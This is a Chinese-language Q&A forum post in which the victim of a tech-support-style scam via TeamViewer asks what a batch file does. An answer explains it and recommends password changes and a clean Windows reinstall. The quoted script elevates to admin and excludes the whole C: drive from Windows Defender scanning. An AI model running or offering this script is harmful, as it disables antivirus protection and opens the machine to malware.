我在 Facebook 上爱上了一个不知名的人，他在我的电脑上安装了一个应用程序，并从 .bat 文件运行这段代码

Question

嗨，我在我的 Facebook 页面上遇到了一些困难，我在一个随机的 FB 小组上发布了关于一个人告诉我他可以提供帮助的问题。

我们在 TeamViewer 上直播，他偷偷安装了一个程序并运行了一个包含以下代码的 notepad.bat 文件。

@echo off
if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)
start cmd /c "powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:""
start notepad.exe

我删除了.bat文件，删除了他偷偷下载的软件，删除了我电脑启动时的应用程序。

现在谁能知道上面的代码做了什么以及我现在应该采取什么预防措施？

我正在寻找一个潜在的解决方案，我犯了一个错误，并希望有人在这方面帮助我。

Answer 1

我建议你更改 Facebook 和其他任何东西的所有密码 和干净的格式安装 Windows，安装 Malwarebytes 和 Kaspersky 并在移动重要文件进行备份之前和安装干净的 Windows 之前进行扫描。强烈推荐干净的 Windows 安装。

很明显，他安装了恶意软件来窃取密码和重要信息。

.bat 的作用：

这是Windows批处理脚本，添加排除路径到Windows Defender，然后打开记事本。

这是脚本的工作原理：

@echo off

语句关闭控制台窗口中的命令回显。 if not

"%1"=="am_admin"

语句检查脚本是否以管理员权限运行。如果不是，脚本将使用

powershell start -verb runas '%0' am_admin & exit /b

命令以管理员权限重新启动自身，然后退出。

Add-MpPreference -ExclusionPath "C:"

命令将 C: 驱动器添加为 Windows Defender 中的排除路径。这意味着 Windows Defender 将不会扫描位于 C: 驱动器中的文件。

start notepad.exe

命令打开记事本。